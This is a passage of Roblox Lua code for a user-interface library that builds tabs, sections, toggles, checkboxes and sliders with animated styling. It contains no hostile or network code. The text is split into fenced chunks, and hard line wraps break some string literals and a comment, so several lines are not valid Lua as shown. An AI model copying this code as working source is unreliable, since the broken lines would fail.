                    Name = "\0";
                    Size = dim2(0, 0, 0, 39);
                    BackgroundTransparency = 1;
                    ClipsDescendants = true;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.X;
                    TextSize = 16;
                    BackgroundColor3 = rgb(25, 25, 29)
                });

                multi_items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(62, 62, 63);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = section;
                    Parent = multi_items[ "button" ];
                    Name = "\0";
                    Size = dim2(0, 0, 1, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });

                library:create( "UIPadding" , {
                    Parent = multi_items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });

                multi_items[ "accent" ] = library:create( "Frame" , {
                    BorderColor3 = rgb(0, 0, 0);
                    AnchorPoint = vec2(0, 1);
                    Parent = multi_items[ "button" ];
                    BackgroundTransparency = 1;
                    Position = dim2(0, 10, 1, 4);
                    Name = "\0";
                    Size = dim2(1, -20, 0, 6);
                    BorderSizePixel = 0;
                    BackgroundColor3 = themes.preset.accent
                }); library:apply_theme(multi_items[ "accent" ], "accent",
"BackgroundColor3");

                library:create( "UICorner" , {
                    Parent = multi_items[ "accent" ];
                    CornerRadius = dim(0, 999)
                });
```

```
        library:create( "UIPadding" , {
            Parent = multi_items[ "button" ];
            PaddingRight = dim(0, 10);
            PaddingLeft = dim(0, 10)
        });

        library:create( "UICorner" , {
            Parent = multi_items[ "button" ];
            CornerRadius = dim(0, 7)
        });
    --

    -- Tab
        multi_items[ "tab" ] = library:create( "Frame" , {
            Parent = library.cache;
            BackgroundTransparency = 1;
            Name = "\0";
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, -20, 1, -20);
            BorderSizePixel = 0;
            Visible = false;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIListLayout" , {
            FillDirection = Enum.FillDirection.Vertical;
            HorizontalFlex = Enum.UIFlexAlignment.Fill;
            Parent = multi_items[ "tab" ];
            Padding = dim(0, 7);
            SortOrder = Enum.SortOrder.LayoutOrder;
            VerticalFlex = Enum.UIFlexAlignment.Fill
        });

        library:create( "UIPadding" , {
            PaddingTop = dim(0, 7);
            PaddingBottom = dim(0, 7);
            Parent = multi_items[ "tab" ];
            PaddingRight = dim(0, 7);
            PaddingLeft = dim(0, 7)
        });
    --
end

data.text = multi_items[ "name" ]
data.accent = multi_items[ "accent" ]
data.button = multi_items[ "button" ]
data.page = multi_items[ "tab" ]
data.parent = setmetatable(data, library):sub_tab({}).items[ "tab_parent" ]

-- Old column code
-- data.left = multi_items[ "left" ]
-- data.right = multi_items[ "right" ]
```

```
                                                function data.open_page()
                                                        local page = cfg.current_multi;

                        if page and page.text ~= data.text then
                            self.items[ "global_fade" ].BackgroundTransparency = 0
                            library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1},
Enum.EasingStyle.Quad, 0.4)

                            local old_size = page.page.Size
                            page.page.Size = dim2(1, -20, 1, -20)
                        end

                        if page then
                            library:tween(page.text, {TextColor3 = rgb(62, 62, 63)})
                            library:tween(page.accent, {BackgroundTransparency = 1})
                            library:tween(page.button, {BackgroundTransparency = 1})

                            page.page.Visible = false
                            page.page.Parent = library[ "cache" ]
                        end

                        library:tween(data.text, {TextColor3 = rgb(255, 255, 255)})
                        library:tween(data.accent, {BackgroundTransparency = 0})
                        library:tween(data.button, {BackgroundTransparency = 0})
                        library:tween(data.page, {Size = dim2(1, 0, 1, 0)}, Enum.EasingStyle.Quad,
0.4)

                        data.page.Visible = true
                        data.page.Parent = items["tab_holder"]

                        cfg.current_multi = data

                        library:close_element()
                                                end


multi_items[ "button" ].MouseButton1Down:Connect(function()
                                                        data.open_page()
                                                end)

                                                cfg.pages[#cfg.pages + 1] = setmetatable(data,
library)
                end

                cfg.pages[1].open_page()
            --
        end

        function cfg.open_tab()
            local selected_tab = self.selected_tab

            if selected_tab then
                if selected_tab[ 4 ] ~= items[ "tab_holder" ] then
                    self.items[ "global_fade" ].BackgroundTransparency = 0
```

```
                library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1},
Enum.EasingStyle.Quad, 0.4)
                selected_tab[ 4 ].Size = dim2(1, -216, 1, -101)
            end

            library:tween(selected_tab[ 1 ], {BackgroundTransparency = 1})
            library:tween(selected_tab[ 2 ], {ImageColor3 = rgb(72, 72, 73)})
            library:tween(selected_tab[ 3 ], {TextColor3 = rgb(72, 72, 73)})

            selected_tab[ 4 ].Visible = false
            selected_tab[ 4 ].Parent = library[ "cache" ]
            selected_tab[ 5 ].Visible = false
            selected_tab[ 5 ].Parent = library[ "cache" ]
        end

        library:tween(items[ "button" ], {BackgroundTransparency = 0})
        library:tween(items[ "icon" ], {ImageColor3 = themes.preset.accent})
        library:tween(items[ "name" ], {TextColor3 = rgb(255, 255, 255)})
        library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)},
Enum.EasingStyle.Quad, 0.4)

        items[ "tab_holder" ].Visible = true
        items[ "tab_holder" ].Parent = self.items[ "main" ]
        items[ "multi_section_button_holder" ].Visible = true
        items[ "multi_section_button_holder" ].Parent = self.items[ "multi_holder" ]

        self.selected_tab = {
            items[ "button" ];
            items[ "icon" ];
            items[ "name" ];
            items[ "tab_holder" ];
            items[ "multi_section_button_holder" ];
        }

        library:close_element()
    end

    items[ "button" ].MouseButton1Down:Connect(function()
        cfg.open_tab()
    end)

    if not self.selected_tab then
        cfg.open_tab(true)
    end

    return unpack(cfg.pages)
end

function library:seperator(properties)
    local cfg = {items = {}, name = properties.Name or properties.name or "General"}

    local items = cfg.items do
        items[ "name" ] = library:create( "TextLabel" , {
```

```
            FontFace = fonts.font;
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = self.items[ "button_holder" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            Position = dim2(0, 40, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIPadding" , {
            Parent = items[ "name" ];
            PaddingRight = dim(0, 5);
            PaddingLeft = dim(0, 5)
        });
    end;

    return setmetatable(cfg, library)
end

-- Miscellaneous
    function library:column(properties)
        local cfg = {items = {}, size = properties.size or 1}

        local items = cfg.items; do
            items[ "column" ] = library:create( "Frame" , {
                Parent = self[ "parent" ] or self.items["tab_parent"];
                BackgroundTransparency = 1;
                Name = "\0";
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 0, cfg.size, 0);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            library:create( "UIPadding" , {
                PaddingBottom = dim(0, 10);
                Parent = items[ "column" ]
            });

            library:create( "UIListLayout" , {
                Parent = items[ "column" ];
                HorizontalFlex = Enum.UIFlexAlignment.Fill;
                Padding = dim(0, 10);
                FillDirection = Enum.FillDirection.Vertical;
                SortOrder = Enum.SortOrder.LayoutOrder
            });
        end
```

```
        return setmetatable(cfg, library)
    end

    function library:sub_tab(properties)
        local cfg = {items = {}, order = properties.order or 0; size = properties.size or 1}

        local items = cfg.items; do
            items[ "tab_parent" ] = library:create( "Frame" , {
                Parent = self.items[ "tab" ];
                BackgroundTransparency = 1;
                Name = "\0";
                Size = dim2(0,0,cfg.size,0);
                BorderColor3 = rgb(0, 0, 0);
                BorderSizePixel = 0;
                Visible = true;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            library:create( "UIListLayout" , {
                FillDirection = Enum.FillDirection.Horizontal;
                HorizontalFlex = Enum.UIFlexAlignment.Fill;
                VerticalFlex = Enum.UIFlexAlignment.Fill;
                Parent = items[ "tab_parent" ];
                Padding = dim(0, 7);
                SortOrder = Enum.SortOrder.LayoutOrder;
            });
        end

        return setmetatable(cfg, library)
    end
--

    function library:section(properties)
        local cfg = {
            name = properties.name or properties.Name or "section";
            side = properties.side or properties.Side or "left";
            default = properties.default or properties.Default or false;
            size = properties.size or properties.Size or self.size or 0.5;
            icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?
id=6022668898";
            fading_toggle = properties.fading or properties.Fading or false;
            items = {};
        };

        local items = cfg.items; do
            items[ "outline" ] = library:create( "Frame" , {
                Name = "\0";
                Parent = self.items[ "column" ];
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 0, cfg.size, -3);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(25, 25, 29)
            });
```

```
library:create( "UICorner" , {
    Parent = items[ "outline" ];
    CornerRadius = dim(0, 7)
});

items[ "inline" ] = library:create( "Frame" , {
    Parent = items[ "outline" ];
    Name = "\0";
    Position = dim2(0, 1, 0, 1);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -2, 1, -2);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(22, 22, 24)
});

library:create( "UICorner" , {
    Parent = items[ "inline" ];
    CornerRadius = dim(0, 7)
});

items[ "scrolling" ] = library:create( "ScrollingFrame" , {
    ScrollBarImageColor3 = rgb(44, 44, 46);
    Active = true;
    AutomaticCanvasSize = Enum.AutomaticSize.Y;
    ScrollBarThickness = 2;
    Parent = items[ "inline" ];
    Name = "\0";
    Size = dim2(1, 0, 1, -40);
    BackgroundTransparency = 1;
    Position = dim2(0, 0, 0, 35);
    BackgroundColor3 = rgb(255, 255, 255);
    BorderColor3 = rgb(0, 0, 0);
    BorderSizePixel = 0;
    CanvasSize = dim2(0, 0, 0, 0)
});

items[ "elements" ] = library:create( "Frame" , {
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "scrolling" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 10, 0, 10);
    Size = dim2(1, -20, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.Y;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    Parent = items[ "elements" ];
    Padding = dim(0, 10);
    SortOrder = Enum.SortOrder.LayoutOrder
});
```

```
library:create( "UIPadding" , {
    PaddingBottom = dim(0, 15);
    Parent = items[ "elements" ]
});

items[ "button" ] = library:create( "TextButton" , {
    FontFace = fonts.font;
    TextColor3 = rgb(255, 255, 255);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    AutoButtonColor = false;
    Parent = items[ "outline" ];
    Name = "\0";
    Position = dim2(0, 1, 0, 1);
    Size = dim2(1, -2, 0, 35);
    BorderSizePixel = 0;
    TextSize = 16;
    BackgroundColor3 = rgb(19, 19, 21)
});

library:create( "UIStroke" , {
    Color = rgb(23, 23, 29);
    Parent = items[ "button" ];
    Enabled = false;
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
});

library:create( "UICorner" , {
    Parent = items[ "button" ];
    CornerRadius = dim(0, 7)
});

items[ "Icon" ] = library:create( "ImageLabel" , {
    ImageColor3 = themes.preset.accent;
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "button" ];
    AnchorPoint = vec2(0, 0.5);
    Image = cfg.icon;
    BackgroundTransparency = 1;
    Position = dim2(0, 10, 0.5, 0);
    Name = "\0";
    Size = dim2(0, 22, 0, 22);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
}); library:apply_theme(items[ "Icon" ], "accent", "ImageColor3");

items[ "section_title" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    TextColor3 = rgb(255, 255, 255);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "button" ];
    Name = "\0";
```

```
    Size = dim2(0, 0, 1, 0);
    Position = dim2(0, 40, 0, -1);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.X;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "Frame" , {
    AnchorPoint = vec2(0, 1);
    Parent = items[ "button" ];
    Position = dim2(0, 0, 1, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 1);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(36, 36, 37)
});

if cfg.fading_toggle then
    items[ "toggle" ] = library:create( "TextButton" , {
        FontFace = fonts.small;
        TextColor3 = rgb(0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        AutoButtonColor = false;
        Text = "";
        AnchorPoint = vec2(1, 0.5);
        Parent = items[ "button" ];
        Name = "\0";
        Position = dim2(1, -9, 0.5, 0);
        Size = dim2(0, 36, 0, 18);
        BorderSizePixel = 0;
        TextSize = 14;
        BackgroundColor3 = rgb(58, 58, 62)
    });  library:apply_theme(items[ "toggle" ], "accent", "BackgroundColor3");

    library:create( "UICorner" , {
        Parent = items[ "toggle" ];
        CornerRadius = dim(0, 999)
    });

    items[ "toggle_outline" ] = library:create( "Frame" , {
        Parent = items[ "toggle" ];
        Size = dim2(1, -2, 1, -2);
        Name = "\0";
        BorderMode = Enum.BorderMode.Inset;
        BorderColor3 = rgb(0, 0, 0);
        Position = dim2(0, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(50, 50, 50)
    });  library:apply_theme(items[ "toggle_outline" ], "accent", "BackgroundColor3");

    library:create( "UICorner" , {
```

```
            Parent = items[ "toggle_outline" ];
            CornerRadius = dim(0, 999)
        });

        library:create( "UIGradient" , {
            Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
            Parent = items[ "toggle_outline" ]
        });

        items[ "toggle_circle" ] = library:create( "Frame" , {
            Parent = items[ "toggle_outline" ];
            Name = "\0";
            Position = dim2(0, 2, 0, 2);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 12, 0, 12);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(86, 86, 88)
        });

        library:create( "UICorner" , {
            Parent = items[ "toggle_circle" ];
            CornerRadius = dim(0, 999)
        });

        library:create( "UICorner" , {
            Parent = items[ "outline" ];
            CornerRadius = dim(0, 7)
        });

        items[ "fade" ] = library:create( "Frame" , {
            Parent = items[ "outline" ];
            BackgroundTransparency = 0.800000011920929;
            Name = "\0";
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, 0, 1, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(0, 0, 0)
        });

        library:create( "UICorner" , {
            Parent = items[ "fade" ];
            CornerRadius = dim(0, 7)
        });
    end
end;

if cfg.fading_toggle then
    items[ "button" ].MouseButton1Click:Connect(function()
        cfg.default = not cfg.default
        cfg.toggle_section(cfg.default)
    end)

    function cfg.toggle_section(bool)
```

```
                library:tween(items[ "toggle" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
                library:tween(items[ "toggle_outline" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
                library:tween(items[ "toggle_circle" ], {BackgroundColor3 = bool and rgb(255, 255,
255) or rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)},
Enum.EasingStyle.Quad)
                library:tween(items[ "fade" ], {BackgroundTransparency = bool and 1 or 0.8},
Enum.EasingStyle.Quad)
            end
        end

        return setmetatable(cfg, library)
    end

    function library:toggle(options)
        local rand = math.random(1, 2)
        local cfg = {
            enabled = options.default or false,
            name = options.name or "Toggle",
            info = options.info or nil,
            flag = options.flag or library:next_flag(),

            type = options.type and string.lower(options.type) or rand == 1 and "toggle" or
"checkbox"; -- "toggle", "checkbox"

            default = options.default or false,
            folding = options.folding or false,
            callback = options.callback or function() end,

            items = {};
            seperator = options.seperator or options.Seperator or false;
        }

        flags[cfg.flag] = cfg.default

        local items = cfg.items; do
            items[ "toggle" ] = library:create( "TextButton" , {
                FontFace = fonts.small;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                Parent = self.items[ "elements" ];
                Name = "\0";
                BackgroundTransparency = 1;
                Size = dim2(1, 0, 0, 0);
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.Y;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            items[ "name" ] = library:create( "TextLabel" , {
                FontFace = fonts.small;
```

```
    TextColor3 = rgb(245, 245, 245);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "toggle" ];
    Name = "\0";
    Size = dim2(1, 0, 0, 0);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

if cfg.info then
    items[ "info" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(130, 130, 130);
        BorderColor3 = rgb(0, 0, 0);
        TextWrapped = true;
        Text = cfg.info;
        Parent = items[ "toggle" ];
        Name = "\0";
        Position = dim2(0, 5, 0, 17);
        Size = dim2(1, -10, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });
end

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "toggle" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 0, 1, 0);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    FillDirection = Enum.FillDirection.Horizontal;
    HorizontalAlignment = Enum.HorizontalAlignment.Right;
    Parent = items[ "right_components" ];
```

```
    Padding = dim(0, 9);
    SortOrder = Enum.SortOrder.LayoutOrder
});

-- Toggle
    if cfg.type == "checkbox" then
        items[ "toggle_button" ] = library:create( "TextButton" , {
            FontFace = fonts.small;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            LayoutOrder = 2;
            AutoButtonColor = false;
            AnchorPoint = vec2(1, 0);
            Parent = items[ "right_components" ];
            Name = "\0";
            Position = dim2(1, 0, 0, 0);
            Size = dim2(0, 16, 0, 16);
            BorderSizePixel = 0;
            TextSize = 14;
            BackgroundColor3 = rgb(67, 67, 68)
        }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");

        library:create( "UICorner" , {
            Parent = items[ "toggle_button" ];
            CornerRadius = dim(0, 4)
        });

        items[ "outline" ] = library:create( "Frame" , {
            Parent = items[ "toggle_button" ];
            Size = dim2(1, -2, 1, -2);
            Name = "\0";
            BorderMode = Enum.BorderMode.Inset;
            BorderColor3 = rgb(0, 0, 0);
            Position = dim2(0, 1, 0, 1);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(22, 22, 24)
        }); library:apply_theme(items[ "outline" ], "accent", "BackgroundColor3");

        items[ "tick" ] = library:create( "ImageLabel" , {
            ImageTransparency = 1;
            BorderColor3 = rgb(0, 0, 0);
            Image = "rbxassetid://111862698467575";
            BackgroundTransparency = 1;
            Position = dim2(0, -1, 0, 0);
            Parent = items[ "outline" ];
            Size = dim2(1, 2, 1, 2);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(255, 255, 255);
            ZIndex = 1;
        });

        library:create( "UICorner" , {
            Parent = items[ "outline" ];
```

```
        CornerRadius = dim(0, 4)
    });

    library:create( "UIGradient" , {
        Enabled = false;
        Parent = items[ "outline" ];
        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))}
    });
else
    items[ "toggle_button" ] = library:create( "TextButton" , {
        FontFace = fonts.font;
        TextColor3 = rgb(0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        Text = "";
        LayoutOrder = 2;
        AnchorPoint = vec2(1, 0.5);
        Parent = items[ "right_components" ];
        Name = "\0";
        Position = dim2(1, -9, 0.5, 0);
        Size = dim2(0, 36, 0, 18);
        BorderSizePixel = 0;
        TextSize = 14;
        BackgroundColor3 = themes.preset.accent
    }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");

    library:create( "UICorner" , {
        Parent = items[ "toggle_button" ];
        CornerRadius = dim(0, 999)
    });

    items[ "inline" ] = library:create( "Frame" , {
        Parent = items[ "toggle_button" ];
        Size = dim2(1, -2, 1, -2);
        Name = "\0";
        BorderMode = Enum.BorderMode.Inset;
        BorderColor3 = rgb(0, 0, 0);
        Position = dim2(0, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = themes.preset.accent
    }); library:apply_theme(items[ "inline" ], "accent", "BackgroundColor3");

    library:create( "UICorner" , {
        Parent = items[ "inline" ];
        CornerRadius = dim(0, 999)
    });

    library:create( "UIGradient" , {
        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
        Parent = items[ "inline" ]
    });

    items[ "circle" ] = library:create( "Frame" , {
        Parent = items[ "inline" ];
        Name = "\0";
```

```
                Position = dim2(1, -14, 0, 2);
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(0, 12, 0, 12);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            library:create( "UICorner" , {
                Parent = items[ "circle" ];
                CornerRadius = dim(0, 999)
            });
        end
    --
end;

function cfg.set(bool)
    if cfg.type == "checkbox" then
        library:tween(items[ "tick" ], {Rotation = bool and 0 or 45, ImageTransparency =
bool and 0 or 1})
        library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(67, 67, 68)})
        library:tween(items[ "outline" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(22, 22, 24)})
    else
        library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
        library:tween(items[ "inline" ], {BackgroundColor3 = bool and
themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
        library:tween(items[ "circle" ], {BackgroundColor3 = bool and rgb(255, 255, 255) or
rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)},
Enum.EasingStyle.Quad)
    end

    cfg.enabled = bool
    cfg.callback(bool)

    if cfg.folding then
        elements.Visible = bool
    end

    flags[cfg.flag] = bool
end

items[ "toggle" ].MouseButton1Click:Connect(function()
    cfg.enabled = not cfg.enabled
    cfg.set(cfg.enabled)
end)

items[ "toggle_button" ].MouseButton1Click:Connect(function()
    cfg.enabled = not cfg.enabled
    cfg.set(cfg.enabled)
end)
```

```
        if cfg.seperator then -- ok bro my lua either sucks or this was a pain in the ass to make
(simple if statement aswell 💔)
            library:create( "Frame" , {
                AnchorPoint = vec2(0, 1);
                Parent = self.items[ "elements" ];
                Position = dim2(0, 0, 1, 0);
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(1, 1, 0, 1);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(36, 36, 37)
            });
        end

        cfg.set(cfg.default)

        config_flags[cfg.flag] = cfg.set

        return setmetatable(cfg, library)
    end

    function library:slider(options)
        local cfg = {
            name = options.name or nil,
            suffix = options.suffix or "",
            flag = options.flag or library:next_flag(),
            callback = options.callback or function() end,
            info = options.info or nil;

            -- value settings
            min = options.min or options.minimum or 0,
            max = options.max or options.maximum or 100,
            intervals = options.interval or options.decimal or 1,
            default = options.default or 10,
            value = options.default or 10,
            seperator = options.seperator or options.Seperator or false;

            dragging = false,
            items = {}
        }

        flags[cfg.flag] = cfg.default

        local items = cfg.items; do
            items[ "slider_object" ] = library:create( "TextButton" , {
                FontFace = fonts.small;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                Parent = self.items[ "elements" ];
                Name = "\0";
                BackgroundTransparency = 1;
                Size = dim2(1, 0, 0, 0);
                BorderSizePixel = 0;
```

```
    AutomaticSize = Enum.AutomaticSize.Y;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

items[ "name" ] = library:create( "TextLabel" , {
    FontFace = fonts.small;
    TextColor3 = rgb(245, 245, 245);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "slider_object" ];
    Name = "\0";
    Size = dim2(1, 0, 0, 0);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

if cfg.info then
    items[ "info" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(130, 130, 130);
        BorderColor3 = rgb(0, 0, 0);
        TextWrapped = true;
        Text = cfg.info;
        Parent = items[ "slider_object" ];
        Name = "\0";
        Position = dim2(0, 5, 0, 37);
        Size = dim2(1, -10, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });
end

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "slider_object" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 4, 0, 23);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 12);
```

```
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder;
    FillDirection = Enum.FillDirection.Horizontal
});

items[ "slider" ] = library:create( "TextButton" , {
    FontFace = fonts.small;
    TextColor3 = rgb(0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    AutoButtonColor = false;
    AnchorPoint = vec2(1, 0);
    Parent = items[ "right_components" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    Size = dim2(1, -4, 0, 4);
    BorderSizePixel = 0;
    TextSize = 14;
    BackgroundColor3 = rgb(33, 33, 35)
});

library:create( "UICorner" , {
    Parent = items[ "slider" ];
    CornerRadius = dim(0, 999)
});

items[ "fill" ] = library:create( "Frame" , {
    Name = "\0";
    Parent = items[ "slider" ];
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0.5, 0, 0, 4);
    BorderSizePixel = 0;
    BackgroundColor3 = themes.preset.accent
});  library:apply_theme(items[ "fill" ], "accent", "BackgroundColor3");

library:create( "UICorner" , {
    Parent = items[ "fill" ];
    CornerRadius = dim(0, 999)
});

items[ "circle" ] = library:create( "Frame" , {
    AnchorPoint = vec2(0.5, 0.5);
    Parent = items[ "fill" ];
    Name = "\0";
    Position = dim2(1, 0, 0.5, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 12, 0, 12);
    BorderSizePixel = 0;
```

```
            BackgroundColor3 = rgb(244, 244, 244)
        });

        library:create( "UICorner" , {
            Parent = items[ "circle" ];
            CornerRadius = dim(0, 999)
        });

        library:create( "UIPadding" , {
            Parent = items[ "right_components" ];
            PaddingTop = dim(0, 4)
        });

        items[ "value" ] = library:create( "TextLabel" , {
            FontFace = fonts.small;
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = "50%";
            Parent = items[ "slider_object" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            Position = dim2(0, 6, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Right;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIPadding" , {
            Parent = items[ "value" ];
            PaddingRight = dim(0, 5);
            PaddingLeft = dim(0, 5)
        });
    end

    function cfg.changetext(text)
        items['name'].Text = text
    end

    function cfg.set(value)
        cfg.value = clamp(library:round(value, cfg.intervals), cfg.min, cfg.max)

        library:tween(items[ "fill" ], {Size = dim2((cfg.value - cfg.min) / (cfg.max - cfg.min),
cfg.value == cfg.min and 0 or -4, 0, 2)}, Enum.EasingStyle.Linear, 0.05)
        items[ "value" ].Text = tostring(cfg.value) .. cfg.suffix

        flags[cfg.flag] = cfg.value
        cfg.callback(flags[cfg.flag])
    end

    items[ "slider" ].MouseButton1Down:Connect(function()
        cfg.dragging = true
```

```
            library:tween(items[ "value" ], {TextColor3 = rgb(255, 255, 255)},
Enum.EasingStyle.Quad, 0.2)
        end)

        library:connection(uis.InputChanged, function(input)
            if cfg.dragging and input.UserInputType == Enum.UserInputType.MouseMovement
then
                local size_x = (input.Position.X - items[ "slider" ].AbsolutePosition.X) /
items[ "slider" ].AbsoluteSize.X
                local value = ((cfg.max - cfg.min) * size_x) + cfg.min
                cfg.set(value)
            end
        end)

        library:connection(uis.InputEnded, function(input)
            if input.UserInputType == Enum.UserInputType.MouseButton1 then
                cfg.dragging = false
                library:tween(items[ "value" ], {TextColor3 = rgb(72, 72, 73)},
